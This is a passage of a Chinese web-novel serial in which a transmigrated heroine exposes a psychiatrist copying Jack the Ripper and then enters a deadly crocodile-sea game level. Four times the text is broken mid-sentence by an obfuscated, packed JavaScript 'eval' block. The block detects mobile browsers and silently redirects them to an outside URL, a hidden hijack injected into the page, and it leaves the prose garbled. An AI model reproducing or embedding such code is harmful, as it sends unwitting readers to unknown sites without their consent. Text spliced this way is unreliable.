;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914992|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子，从里面掉出来的却是一团又一团的废纸。 它们被一个个的拿出来，直到最后一团废纸掉落在地上，宁昭眼看着沈书言扒开小狗的肚子，却发现里面空空如也，连器官和内脏都没有，只剩下一个外皮。 她闷声去翻第二个土坡，结果出来的是一只三花猫。它的肚子上也有伤口，按同样的方法划开，看到的内容和刚才一模一样。 “怎么下得去手啊……” 她终于明白Bridget为什么要在离开救助中心之后把小动物带回家了。 回家路上，宁昭一直沉默着。 一直到下车，她转头看向车里的沈书言：“你要和我回家吗？” 天上下起了小雨，滴滴答答的水珠落在她头发上，又顺着发丝滑落，隐入衣服里，将她的衣领打湿一片。 沈书言几乎没有犹豫。 回到家中，门口如以前一般摆着热气腾腾的晚餐。 两人进屋，宁昭把门反锁上，又把窗户和窗帘全都拉了起来。 紧接着，她走到那天找医疗箱的地方，把藏在最里面的箱子拿到桌上，当着沈书言的面打开。 里面整齐摆放着的，正是那天宁昭看到的不同型号的手术刀。 “我当时觉得奇怪，但是没多想。毕竟我是穿越到这具身体里的人，家里有她曾经的生活痕迹很正常。” 她拿起其中最大的一把刀：“她应该就是用这个来解剖小动物的尸体的。” 原来那个出现在她身边、非常掌握医学解剖知识的人，竟然就是她“自己”。 怪不得她在乡下没有找到任何有用的线索。 一切的源头都在她这里。 听着她的声音，沈书言沉默着没有说话。 感受到气氛的安静，宁昭抬头看了他一眼，却被他现在的模样吓到。 刚才回来的时候天色已暗，她没看清。 现在在自家灯光的照射下，她能清楚看到他的脸颊上已经出现斑驳的血痕，好像从脖子里延伸出来的一样，一直攀爬到他的眼角处，看起来触目惊心。 “你的伤口……” 宁昭惊呼一声：“这是怎么回事？我去买药给……” “没用的。” 沈书言轻吸一口气，声音喑哑隐忍：“你继续，不用管我。” “你这样太吓人了……” 她慌了神：“用药不行，那什么有用？或者你知不知道什么解决办法？” 如果知道违背游戏规则的代价是这个，那她之前肯定不会一直追问他的身份。 闻言，沈书言刚想说话，却被宁昭猛地捂住嘴：“你不要再说话了，我自己一个人可以。” 肯定是因为他刚才又提醒了她一句关于刀的事情，他的伤情才恶化的。 说罢，她转头在家里翻箱倒柜去寻找线索，略显踉跄的脚步昭示着她此刻的慌神。 她从来没见沈书言受过这样严重的伤。 他很白，但凡脸上有一点伤口看起来都很明显，更何况是那像毛细血管一样不断分叉扩张开来的伤痕。 脸上传来撕裂般的剧烈疼痛，但他却始终没吭一声。 直到他看见宁昭为他忙上忙下的身影，他忽然有那么一瞬间觉得，好像也不是很疼。 24. 雨夜警探 为了找出更多的线索，宁昭再次斥巨资，在手机商城里买了一瓶鲁米诺试剂，用来检测家里的血液反应。 这个时代还没有能准确检测血液的科技，各方面的技术也远不如现代。 想要快速破案，唯有借助外力，否则时间线会拉得很长。 受伤的队友哥被好好安置在沙发上，手里还多了一杯热热的牛奶。 趁着这个时间，宁昭在家里到处检查，结果发现厨房的桌面与地面上血迹最多，其次就是门把手上，还有其他一些不小心会蹭到的地方。 熄灭的灯再次被打开，她拿纸擦了擦手：“基本上可以确定，我这具身体的原主会在接到小动物的尸体之后将它们带回家进行解剖，这样做大概率是在为她接下来的计划做准备。” 至于是什么计划，目前宁昭的心里只有雏形，但大致方向已经确定了。 思路开阔起来，宁昭自我感觉非常良好。她甚至在想，如果能平安回到现实世界，一定要再接一部刑侦片奖励一下自己。 不过现在不是想这些的时候。查完血迹后，她又开始在家里翻箱倒柜。 这次她搜查得非常彻底，甚至连一些放在抽屉最深处的小玩意都倒了出来，但最后能提供信息的，也只有一本巨大的相册。 它藏的比较深，宁昭是在床底的一个箱子里发现它的。 相册里放的满满当当都是照片，从第一页开始翻，入目是一张张小婴儿时期的照片。 越往后翻，照片里的女孩就越年长，其中有生活照、有证件照，一直到穿着警服的Bridget出现，相册这才见了底。 这大概就是她前二十几年的人生的缩影。 从照片中可以看出，Bridget的前半段生活非常幸福，照片里还曾出现她家人的身影。但这样的照片，在她十五岁之后就消失了。 由此可以推断出，她的父母在那时出了意外，从此之后，Bridget就开始了一个人独居的生活。 但宁昭却在这么多照片中发现了一个共同点。 随即，像是想应证她的猜想，她再次打开相册的第一页，飞快往后面翻动起来。 越看到最后，她的心就越凉—— 这些照片中，不管是什么样的姿势与场景，Bridget的惯用手都是左手。 她是一个左撇子。 原来这就是当局者迷。 宁昭本人的惯用手是右手，所以穿到原主身上后她不自觉地改了习惯，这才忽略了这么重大的细节。 一切的箭头都指向了她自己。宁昭抬头看向一旁的沈书言，神色略微有些复杂：“凶手可能……” 这时，沈书言的目光落在她手里的相册上，发现最后一页的夹缝中好像藏着一张纸。 他将它抽出来，宁昭看过去，发现那是一张病例单。 上面的英文龙飞凤舞，最后落款处写着一行英文。 Schizophrenia. 精神分裂症。 * 心理诊所，宁昭躺在躺椅上，耳边是纸张不停翻页的声音。 “最近的药没停吧？” 看完病例，詹姆斯医生看向宁昭：“按理说病情应该好转才对，怎么会突然出现幻觉？” 宁昭摇摇头，脸色看起来略微有些苍白：“药没停，最近睡眠确实好了许多，但不知道是不是工作压力太大的缘故，我总会看到一些不该看的东西。” “我想你需要放松。” 詹姆斯医生笑笑：“我再给你开一些治疗幻觉的药物，搭配之前的药一起吃，如果没有效果，你再过来找我。” “好。” 说罢，詹姆斯医生起身，想进里屋去拿药。 “您受伤了吗？” 看着他进屋的身影，宁昭轻飘飘的声音从身后响起。 闻言，他的身影一僵。 “竟然被您看出来了，很明显吗？” 他轻快的声音从房间里传来：“我那天去锻炼身体的时候倒确实把肩膀给拉伤了。” 诙谐的语调中带着点自嘲：“很丢人是不是？现在三个月内都不能再运动了。” “是该小心一点。” 宁昭应了一声。 过了一会儿，他从里屋出来，手里又多了几瓶药：“记得按时吃，如果工作太累，就请假休息。还是身体更重要一些。” 他伸出左手，将药递到宁昭手里，右边肩膀看起来很僵硬，好像抬都抬不起来。 接过药，她和他告别，随后便离开了诊所。 直到马车在她家楼下停下，一切都相安无事，没有任何异常发生。 下了车，阿诺像以往一样照例和宁昭敬礼告别。 这一次，宁昭却出声叫住了他：“阿诺。” 听到她的呼唤声，阿诺抬头看她：“警司，我在。” “你是不是早就发现我不正常了？” 她的语气前所未有的平静。 没想到她会这样说，阿诺的神情有片刻愣怔，随后他谦卑地低下头：“您有您的道理。” “如果说我是杀人犯呢？” “……您有您的道理。” 看着阿诺的脸，宁昭的思绪又被拉回到两天前发现相册的那个晚上。 在众多属于原主的照片中，只有一张曾出现过一个陌生小男孩的身影。 那大概是在原主十三岁的时候，她穿着一条白色的连衣裙，身旁站着的男孩身上脏兮兮，脸上却洋溢着明媚的笑容。 渐渐地，照片上小男孩的眉眼与面前的阿诺重合。 她太粗心了，粗心到连这样明显的bug都没发现。 一个在苏格兰场工作的警员，哪怕等级再低，也不应该被私用，成为某个警司的专属保镖。 除非是他自愿。 “放心，一切都快结束了。” 宁昭拍了拍他的肩。 说罢，她转身回家。 “结束后，她会回来吗？” 背后冷不丁传来阿诺的声音。 闻言，宁昭沉默两秒：“大概会吧。” …… 深夜，凌晨时分。 房间内一片静谧，安静到只能听清宁昭熟睡时发出的清浅呼吸声。 忽然，她从床上起身，掀开被子下了床。 随后，她像被人控制了一样，直直往门口走，开门、下楼，动作一气呵成，没有任何停顿。 拉开楼道的大门，面前是静谧的街道。此刻万籁俱寂，没了白日里喧闹吵杂的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12930131|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声，连她拖着拖鞋走路的声音都显得分外清晰。 不远处隐隐绰绰出现一个高大的身影。宁昭像是被召唤一般，抬脚就往那个方向走。 然而，不管她怎么追，面前的人都始终与她保持着一定的距离，怎么都追不上。 路过七拐八拐的街道，那人的身影便会突然消失。 但等宁昭走到那里时，他又会再次出现在她的视线里，就像是在引导她往某个方向走。 一直走到白教堂后一条偏僻的小路上，那男人的身影再次消失在道路尽头。然而，当她再次转身时，原本会出现在前方等她的男人这次却不见了踪影。 取而代之的，是不远处一个躺在地上的女人。 像是失去灵魂的机器人，宁昭径直走过去，直到女人被月光照亮的脸出现在她脚边，她低头看她，发现她只是被迷晕，并没有死去。 这时，脚边突然传来“哐当”的声响。 她往声音处一看，发现不知从哪里扔来了一把尖锐的小刀。 宁昭跪到地上，伸手捡起这把刀，沉默着看了两秒。 随后，她将刀尖对准女人的喉管高高举起，猛地刺了下去。 直到刀尖距离女人脖子只有两厘米时，她的动作堪堪停住。 “你是不是就在等着我刺下去呢？” 戏谑的声音响起，宁昭侧过头，看向身旁巷子里隐没的身影，唇畔勾着一抹似笑非笑的弧度。 那人身影顿时僵硬。 “那天我就在想，为什么病例单上明明写了我有精神分裂症的前兆，你在给我治疗的时候却没有跟我提到半个字呢？” 将小刀收起，宁昭起身走进小巷，逐渐看清那隐没在夜色中的惊恐的脸。 “因为你想利用我来杀人。” 借着月光，宁昭将小刀的刀柄对着月亮照了照，金色雕篆的“J.T.R”三个字泛着幽幽冷光。 “或者说，你想培养出第二个开膛手杰克。” 随着她的靠近，詹姆斯医生的脸逐渐显露在她面前。 “其实这两次的案件和开膛手杰克没有任何关系，而之所以会发生那么多的巧合，不过是因为你在模仿他罢了。” 她将小刀扔到地上，又是一道清脆的声响。 “Bridget小姐，我想你搞错了。” 詹姆斯医生的脸上露出苦恼又无奈的表情：“其实不跟你提及病情是害怕你因此失控而做出过激的举动，我会出现在这里，也是因为担心你的梦游症，所以才会跟过来看看。” “我想，心理诊所只是你的伪装，你真正的身份，其实是宠物救济中心的老板吧。” 并未把詹姆斯医生的解释当回事，宁昭双手环胸，姿态慵懒地靠在墙上：“也就是赛拉的父亲。我说得对吗？” 听到这里，詹姆斯医生的眼中闪过一丝阴狠。 随即，他的手不动声色地摸到腰际，那边鼓鼓的，不知道藏着什么武器。 就在他要拔枪而出的时候，他突然感觉一个冰冷的枪口顶住了他的后脑勺。 随即，好整以暇的男声出现在耳后。 “怎么一点长进都没有，还爱偷偷摸摸搞些小动作啊？” 沈书言的声音让詹姆斯顿时感觉毛骨悚然。 25. 雨夜警探 在詹姆斯身后的窗户里，沈书言不知道什么时候已经拿枪抵住了他的头，语气慢悠悠的，像是在和他聊天。 “虽然我不清楚你的作案动机，但手法我大概搞明白了。” 因为穿着睡衣，宁昭的姿态看起来略微有些放松：“当你得知Bridget女士患有精神分裂症后，你就打算利用她，让她成为你的一把刀。从身份上说，苏格兰场的高级警司不会成为任何人的怀疑对象，从业务能力方面讲，她曾接受过优良的培训，并且有过外科手术的经验。再三权衡之下，她是最好的人选。” 大概是头上顶着枪，詹姆斯不再轻举妄动，脸上的表情也变得缓和：“Bridget小姐，你已经开始胡言乱语了。先让你的朋友放开我再说话，好吗？” 然而，面对他的话，宁昭充耳不闻。 “其实我最早怀疑过，Bridget女士会不会真的是开膛手杰克本人？” 此时，远方隐隐约约传来刺耳的警笛声。 宁昭不以为然，继续说道：“但很快就被我排除了这个可能。她原生家庭很幸福，没有理由对社会最底层的女性抱有那么大的恶意，所以开膛手杰克不是她。” 警笛声由远及近，声音越来越大。 然而，听到这声音的詹姆斯不但不紧张，脸上反而流露出一丝笑意：“这一切和我又有什么关系呢？我只是一个目睹了你杀人过程并及时报警的良好市民罢了。” “沈书言，你猜猜他和警方说了些什么？” 宁昭踢了踢脚下的刀，看向詹姆斯身后窗户里的队友哥。 “我猜他告诉警方，你就是开膛手杰克，也是杀害爱丽丝·布朗的凶手。” 沈书言手里的枪顶着他的太阳穴撞了撞：“还和警方说，你今晚会再次行动。” “然后让警方抓我一个现行犯。” 看向地面上晕倒的女人，宁昭的神色变冷：“她大概率也是一个妓女。如果今天我真的按照你的计划杀害了她，那么我就会被认定为开膛手杰克，之前的一切罪责都有了人承担，这个持续三年之久的悬案也会因此告破。” “如果我不承认，你就可以拿出我精神分裂症的病例单，说我在杀人时是无意识的，连自己也不记得。” 说到这里，宁昭笑笑：“真是天衣无缝。你利用Bridget女士的病情与好心对她进行催眠，让她对小动物的尸体进行解剖。这一切其实都是在为你的计划准备证据罢了。” 这时，路口已经亮起警车的灯光。 刺耳的声音划破寂静的夜，熟睡的人们被吵醒，他们打开夜灯探出身子往外看，偶尔有人嘴里骂骂咧咧，似乎在责怪警察打断了他们的好梦。 “警察已经来了，有什么话，你还是跟他们说吧。” 詹姆斯笑笑：“还有身后这位一直帮着你的先生，最好把枪放下。否则，你会和这位女士一起吃牢饭。” “你确定警察是来帮你的吗？” 宁昭轻飘飘地说了这么一句，路口忽然出现一道颀长的身影。 听到这里，詹姆斯脸上的笑容僵住。 “你的计划确实还算缜密，现在只剩临门一脚，成功近在眼前。” 叹了口气，宁昭走到他面前：“但不管你再怎么算计，都改变不了你只是一个可怜的模仿犯的事实。” 那身影缓缓走过来，来人是阿诺。 “我们把赛拉小姐请到了警署。” 他看向詹姆斯，那双总是恭敬谦卑的蓝色双眸中此刻却满是冰冷：“她已经将你和爱丽丝的关系交代得一清二楚。” 听到这里，詹姆斯的眼中闪过强烈的愤恨与阴狠。 “你和爱丽丝是情人关系。” 接过阿诺的话头，宁昭继续说道：“那天目击证人看到的和爱丽丝说话的男人，其实就是经过伪装后的你自己。杀害她后，你发现她的身世与白教堂案的受害者们高度重叠，于是便将过错推到了开膛手杰克的身上。接着，你又利用Bridget的病情给她不断下心理暗示，让她认为她自己是凶手，以彻底掩盖你的罪行。” 甚至不惜伤害另一个无辜的女性。 说到这里，一切真相大白。 “所以，我只是一个替罪羊。而真正杀害爱丽丝·布朗的凶手，是你，詹姆斯医生。” 声音落下的瞬间，宁昭的面前亮起白光。 这时，詹姆斯撕心裂肺的声音传来：“如果不是沈书言，你不可能发现……” 还未等他说完，耳边就没了声响。直到机械的女声再次响起—— 【恭喜6824号玩家，您已完成《雨夜警探》副本中的主线任务：阻止接下来可能会发生的案件并找出事件的凶手。系统将快速送您离开副本。】 再次睁眼，宁昭已经回到了自己的主神空间。 身边空无一人，她立刻拿起手机，找到队友那一栏，点进了他的主神空间。 直到熟悉的身影出现在视线里，宁昭悬着的心终于放下。 他又恢复了原本的模样，脸上可怖的伤痕也尽数褪去。白还是那样白，好看也还是那样好看。 也不知道是怎么了，宁昭心下一动，跑过去就伸手抱住了他，力气很大，一直把他压到沙发上踉跄着坐下，她都没有撒开手。 “男女授……” 话还没说完，沈书言就没了声音。 熟悉的属于宁昭的香气终于再次萦绕在他鼻尖，她紧紧抱着他，下巴埋在他的肩颈里，力气很大，像是怕下一秒就会失去他。 去他的授受不亲。 伸手回抱她，沈书言的手在她的脊背上轻轻抚摸：“好了，结束了。” 沉默了很长一段时间，宁昭松开他。他看向她的眼睛，发现她眼周红红的，好像刚哭过。 “哭什么。” 他好像是第一次看到她这个样子。 其实宁昭也不知道为什么自己会哭。 也许是沈书言在副本中的冷漠刺痛了她，以至于她这些天都憋着些气，如今他不再刻意伪装，他们之间也没了隔阂，她这才彻底松了一口气。 这大概也是宁昭顺风顺水的人生中，第一次体会到害怕失去一个人的感觉。 “确定不会再有事了吗？” 伸手摸了摸沈书言的脸颊，宁昭还是有些不放心。 “…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12964231|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗯，不会了。” 他没有躲开，但声音听着却有些不自在。 【系统正在结算奖励……】 这时，一道不合时宜的声音打破了此刻略显暧昧的氛围。 像是被点醒，宁昭松开手，耳尖略微有些发红。 【主线任务完成度：186280/1000000（魅力值）】 【支线任务完成度：100％】 【小队默契度：85％】 【受伤率：28％】 【死亡率：0％】 【等级评定：S级】 【恭喜您成功通关！】 “这次评分比上次低……” 盯着“默契度”三个字，宁昭不禁开始悔恨，自己当时如果再给沈书言一点信任，是不是结果会更好一点。 紧接着，弹出来的是宁昭的个人评分。 【即将对小队成员发放奖励】 【编号：6824号玩家】 【个人评分：90分】 【解锁成就：下属的绝对忠诚、安东尼的感恩、开膛手杰克的赏识……（展开可查看详情）】 【奖励：90积分、1把手枪、1个护身符、20张隐身护符、1件静止斗篷】 本以为这次还会像上次那样奖励翻倍，结果却跳出一行红色的字： 【黄牌警告：系统检测到您在这次副本中采取了不正当的获胜手段，故扣除20积分以作惩罚，请勿再犯。否则系统会予以抹杀处理。】 “不正当的手法？” 看到这句话，宁昭一时间有些摸不着头脑：“它这个是怎么定义的？” 她奇怪地看向沈书言，却发现他面前只有短短几行字。 【3176号玩家，检测到您在副本中曾出现作弊、扰乱游戏平衡的行为，系统将没收您这次获得的所有奖励。如有下次，后果自负。】 然而，看到这内容的沈书言表情却见怪不怪，好像一点都不意外：“这游戏就这样，不用理会。” “你还没告诉我，你在这个副本中拿到的任务是什么。” 其实还在副本里的时候宁昭就想问了，但是碍于条件限制，她一直没敢说。 不过她大概也能猜到，他们两个虽然是生死绑定在一起的队友，但不代表他们在游戏里的立场与任务就是一致的。 “不能暴露身份，不能给你提供任何指向性帮助。” 果然，沈书言的回答与宁昭所想别无二致。 “但你还是帮我了……” 想到沈书言在离开前几乎蔓延到全脸的伤痕：“下个副本我不会再像上次那么莽撞。” 从小宁昭就知道不该把希望和信任寄托在任何人身上，生活环境迫使她变成这样，步入社会后发生的种种事件也应证了她这样的思维是正确的。 到了无限世界中，明明更应该贯彻这样的思想，但她却发现这样做的后果只会伤害到与她同样立场的人。 但现在她明白了。沈书言也许帮不了她，但他绝对不会害她。 不知道为什么，她长达25年的人生陡然出现了不受控制的—— 怦然心动。 26. 鳄鱼海 见宁昭没了声音，沈书言看向她：“怎么不说话了？” 回过神来，宁昭直摇头：“没事，没事。都结束了。” 脸颊有些热热的，宁昭觉得尴尬，迅速岔开话题：“为什么我会得到一个叫‘开膛手杰克的赏识’的成就啊，这件案子不是和他没有关系……” 说着说着，宁昭忽然感觉后背一凉。 有没有一种可能，这个副本和开膛手杰克其实是有联系的，只是还没等她解锁与之有关的剧情，她就已经通关了。 所以系统才会分别给她和沈书言以黄牌和红牌的警告。 “叮——” 突兀的声响在空气中响起，脚下的地板忽然消失不见，失重感降临，面前的场景也开始极速变化。 还没等宁昭尖叫出声，她就重重摔在了地上。再抬头，面前已经不再是主神空间，而是一个聚集了许多人的游戏大厅。 【您已进入惩罚关卡，祝您能在此次副本中幸存。】 系统说完这句后便没了声音，只留下两行字在宁昭的面前。 【副本名称：鳄鱼海】 【主线任务：活着离开】 显然，沈书言这次也没防备，跟她一样摔了一个屁股蹲，现在才站起来。 “又来两个倒霉蛋。” 耳边传来一道讥诮的女声，语气中含着不屑。 说话的是一个红头发的女生。 她长得挺漂亮，就是风格很独特，耳朵嘴唇上穿了不少孔，身上穿的也是当下比较潮流的y2k辣妹装，哪怕在这个世界里也是极扎眼的。 “少说两句。” 身旁的男生拽拽她的衣服：“都快没命了还说这些。” 他的手只是稍微挥了挥，宁昭就已经看清他右手手腕上的编号：2111号。 【宁昭】：活人！活人！ 想到可以和队友哥脑内对话，她立刻开启了聊天室。 【沈书言】：不要高兴得太早了，有活人才是最危险的。 宁昭顿时回想起自己之前看的一些考验人性的电影。越是碰到和自己处境相似的人，越是容易被背刺。 而面前这个大厅里聚集着不少人，她仔细观察了一下，他们的手上都有编号。也就是说，这即将成为她进入虚妄之都以来接触的第一个多人副本。 【宁昭】：你之前是不是被其他玩家坑过？ 【沈书言】：没有。不过见过挺多。 “要组队吗？” 正当宁昭和沈书言聊得正嗨，耳边突然传来一道喑哑的男声。 来人是个身材高挑的年轻男生，他长得很秀气，穿着件简单的白衬衫，看起来却有种不属于这个游戏的病弱感。 身子薄薄一片，感觉一阵风来都能吹倒。 站在他身边的，是个表情不情不愿的红发男孩。 “干嘛呀时也，我们两个人就够了，不要再拉人了。” 他看向宁昭，一脸嫌弃：“一看就是个拖油瓶。” “萧朔。” 时也低声呵斥一声，示意他闭嘴。红发男见状不说话了，就是脸上的表情还有些不服。 宁昭嘴角抽搐。 拖油瓶这个词是这么用的吗？ “不好意思，我已经有队友了。” 她拍了拍沈书言的胳膊，言下之意就是拒绝。 “如果是过这个副本的话，人多存活率会更高一点哦。” 叫时也的男生看着宁昭温柔一笑：“待会你就知道了。” “你的声音好耳熟。” 萧朔原本还是一脸无所谓的态度，但当他听到宁昭的声音后，他有些意外：“你也是从现实世界来的吗？” 宁昭点点头。 “那你肯定认识宁昭！她是我女神！你声音简直和她一模一样啊！” 萧朔一脸不可置信地看着宁昭：“你再说两句话我听听？” “……” 宁昭差点忘了，自己现在顶着一张丑女的脸，哪怕身边都是从现实世界里来的玩家，也不会有人认识她。 但是声音不会骗人。 她的音色很好听，说起话来像山间清冽的泉水，纯净悦耳，如果是粉丝的话，很容易就能辨认出来。 “当然认识啊，我很喜欢她。能和她有相似的嗓音是我的荣幸。” 回过神，宁昭笑眯眯地回了他一句。 “那你还是挺有品的，我只能说。” 一提到女神，萧朔立刻来劲了，伸手就勾住时也的肩：“我觉得跟她组队挺靠谱的，喜欢宁昭的肯定都是好人！这声音也太像了，简直一模一样啊！” 不是刚刚还说她拖油瓶吗…… 萧朔的反应让宁昭不由得感叹，偶像效应还是很有用的，能让一个人爱屋及乌到这个程度。 不知道等他知道面前的人就是他心心念念的女神时会作何感想。 趁萧朔激动时，宁昭侧头向沈书言挑了下眉，眼底的神情好像是在沾沾自喜：怎么样，姐有魅力吧？ 沈书言想笑，但人太多，他忍住了。 这时，大厅内响起广播声。 【请各位玩家到大门处集合，我们即将开启副本。请在进入副本前确定好自己的队伍，游戏开始后，您不能再作出任何改变。】 “放心吧，这个组队只是临时的。” 时也看起来比萧朔稳重许多。 他对宁昭笑了笑，又看向沈书言：“等到副本结束，我们之间的小队关系会自动解除，不会带到下一个副本，也不会影响你们之间的关系。” 大门上的屏幕已经在倒计时。宁昭四周看了一圈，发现大厅里的玩家大多都是四人一队，很少有三人组，两人一队的情况更是不存在。 这样看来，时也的提议确实能考虑。 门口已经排起了长队，但宁昭不想自作主张。她抬头看了队友哥一眼，眼神里带着询问。 接收到这个信号，沈书言朝她点了点头：“可以。” 见他们松口，时也莞尔一笑：“那我们走吧。” 走到队伍后面，他们四个是最后一队。 “你叫什么名字啊？” 站在宁昭身后，萧朔不停跟她讲话：“你是怎么来到这个游戏的？” “……” 面对自己的脑残粉，宁昭微微一笑：“既然你说我声音像宁昭，那你叫我小宁昭就行了。” 反正她相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12977980|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信萧朔不是他的真名。 谁会在游戏里交真名啊。 “……也真够自恋的。” 萧朔无语：“你不要登月碰瓷啊！” “那就随你叫咯，叫编号也行，我6824，他3176。” 宁昭朝他晃了晃手。 听着他们谈话，时也的唇畔一直噙着一抹淡笑，看向宁昭的视线也变得温柔。 这一幕落在沈书言眼里，他不动声色看了宁昭一眼，发现她和萧朔聊得有来有往，嘴角的笑比ak还难压。 不由自主地，他伸手抓住她纤细的手腕：“好了，快进去了。” 听到沈书言的声音，宁昭这才回过神。 低头看了眼他抓她的手，她心底微动，却并未甩开。 大门缓缓打开，里面一片漆黑，从外面根本看不到任何东西。 队伍开始往里进，直到他们全部走进门内，刺骨的冷气从脚往上弥漫，冻得宁昭浑身发抖。 “轰”的一声，大门在身后关上，四周立马陷入漆黑，伸手不见五指。黑暗中，宁昭下意识伸手去探沈书言的手，与他十指相扣。 炙热的温度源源不断注入掌心，缓和了冰凉的氛围，也让宁昭的心稍显安宁。 “wu——hu！” “欢迎大家进入多人副本～” 忽然响起类似马戏团好戏开场前会播放的滑稽音乐，伴随一道怪诞诡异的童声，在安静的大厅里骤然炸开。 “嘻嘻，欢迎你们来到我的地盘。哦，很高兴见到大家——” 面前亮起一束光，照亮一个悬挂在半空中满脸油彩的小丑。他的脖子被绳子吊住，头歪到一旁，看起来像是一具已经上吊死亡的尸体。 但他的嘴却还在不停地开合：“让我来宣读游戏规则，大家别紧张，这个游戏很简单，嘻嘻！” 全场灯光骤亮，突如其来的刺眼光芒让宁昭下意识闭上眼睛，再次睁开眼后，耳边传来刺耳的尖叫声。 “啊！！这下面是什么啊！！！” 撕心裂肺的声音在空荡荡的大厅里回荡，宁昭睁开眼，发现大家纷纷看向地面，在看清下面的内容后，不约而同都流露出惊恐的神情。 她不由得也往下看去，结果—— 这哪里是地面，完全就是一块又一块拼接在一起的透明的正方形方块。 因为方块是完全透明而干净的，所以他们能清晰看到脚下的景色。 他们就像站在悬崖之上，下面是一片浪潮汹涌的大海，正不停翻滚着巨浪。 而最令人感觉害怕的不是大海，而正在这海浪中不停游动的、凶猛的黑色鳄鱼。 从上面看下去，鳄鱼的数量十分可观，几乎可以说是充满了整片海，密密麻麻，看得人莫名发怵。 尤其是他们还站在这么高的平台上，只朝下看一眼便让人觉得腿软。 当然，也有人真的腿软了。 前面忽然传来小声的惊呼，随后便是散开的人群。远远的，宁昭可以清楚看到有人倒在了地面上，站都站不起来。 “接下来，请注意听游戏规则——” 还未等大家缓过神来，那怪诞的童声就再一次回荡在了大厅中。 27. 鳄鱼海 “调皮的孩子们，在接下来的游戏中，你们将以各自队伍为单位，积累积分、冲刺名次。” 小丑煞有其事地清了清嗓子，刚认真说了这么一句，又嬉皮笑脸起来：“不过被淘汰的结果可就不是扣分这么简单咯，嘻嘻嘻嘻！” “好恶心。” 这声音怪渗人的，宁昭起了一身鸡皮疙瘩。 “好想把他扯下来抽一顿，看他还嘻不嘻。” 萧朔死到临头不知死，都这个时候了还在扯犊子。 但宁昭的手心却涔出了汗。 她有些恐高。 “游戏开始后，每个队伍要派一名队员站到中间这块玻璃上，铛铛——就是这块！” 小丑做了一个隆重的手势，直直指向大厅最中间的那块玻璃。 玻璃上放了一块血淋淋的生肉，顶端打下一束独特又耀眼的光。 “随后，其他的队友需要上前回答我的问题。” 小丑阴恻侧一笑：“答对一题，队伍积分+1，答错的话……” 话音刚落，中间那块玻璃刹那间消失，刚刚放在上面的生肉失去重力，立马飞快往下掉落。 海里不停翻涌着的黑色巨鳄开始疯狂撕咬那块只够塞牙缝的的肉，很快就被分得一干二净，从上面甚至可以看到鳄鱼意犹未尽的表情。 刚刚腿软的女人站都站不起来，爬着就想往门口逃：“我不要，我不要死……” “哼哼……” 像是在期待着有人逃跑，小丑眼底一闪而过得逞的精光。这变化落在宁昭的眼中，她心下一紧。 眼看着女人快要跑到门口，小丑如撕裂般的嘴角咧得越来越大，好像非常期待她接下来的行为。 敏锐捕捉到不对的气息，宁昭想也没想，抓住女人的手腕就往后拉：“小心……” 还未等话音落下，女人脚下的玻璃已经消失，没了落脚点，她几乎立马往下坠落。 “啊！！！” 突然的失重让她不由得尖叫出声，脸上顿时血色全无。她像抓救命稻草一样抓住宁昭的手腕：“救救我，救救我！” “你冷静点往上爬，别挣扎。” 纵使已经有了心理准备，被女人拉这么一下，宁昭还是一个踉跄，差点没站稳。 好在沈书言及时伸手拉住女人的另一只手：“往上爬。” 意犹未尽的鳄鱼们听见声响，很快又聚集过来，在海浪中伺机而动。 有两个人使力帮忙，女人终于找到支撑点，拼了命地爬了上来。当她回到平台上时，几乎整个人瘫软在地，脸色惨白，话都说不出来。 “你不要命了啊！” 萧朔吓得眼睛都快瞪出来：“要是没拽住你不也得掉下去喂鳄鱼？！” “这不是拽住了吗。” 拍了拍衣服的褶皱，宁昭抬头看向小丑，语气冰冷：“你在违反游戏规定。” “哦，哦哦～” 小丑用一种“你能奈我何”的语气发出了欠揍的声音：“在座各位谁没有违反过游戏规定呢？” “……” 众人纷纷变得沉默，面上的表情或多或少都略微有些不自然，宁昭也顿时明白所谓“惩罚关卡”的含义。 